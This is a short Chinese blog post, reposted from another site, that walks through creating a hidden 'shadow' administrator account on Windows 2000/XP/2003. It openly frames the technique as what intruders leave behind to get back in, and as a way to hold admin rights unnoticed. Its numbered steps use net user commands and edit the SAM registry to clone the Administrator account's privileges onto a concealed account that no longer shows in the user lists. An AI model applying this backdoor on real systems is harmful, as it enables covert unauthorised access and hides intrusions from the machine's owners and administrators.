怎样建立影子账户

Windows 2000/XP/2003中都能找到一个系统内置的默认管理员账户——Administrator，该账户具有Windows的最高管理权限，用来完成软件安装、系统设置等任务。如果系统由于存在漏洞而被******，***为了下次还能方便地进来，通常会留一个管理员账户的影子账户

让你的账号拥有管理员权限，又不给她人发现

怎样设置影子账户

 

 

1.         在DOS下用net user zzw$ 123 /add 命令，然后在DOS下net user 看不到该用户

 

<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

2.         到用户账户中可以看到账户zzw$

3.         打开注册表到，把sam的项的权限改为完全控制，刷新注册表 ，到domains\account\users\<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />000001F4的F值复制到我的帐号对应的3EF的F值下

4.         然后导出我的帐号zzw$和对应的3EF为zzw.reg zzw2.reg

5.         然后在DOS下用net user zzw$ /del删除该账户的信息

6.         然后导入刚才的导出的zzw.reg zzw2.reg

7.         这时在DOS和控制面板下都看不到用户信息

8.         重新启动电脑 用zzw 密码12３可以进入系统且是管理员权限

 

 

转载于:https://blog.51cto.com/aizzw/101774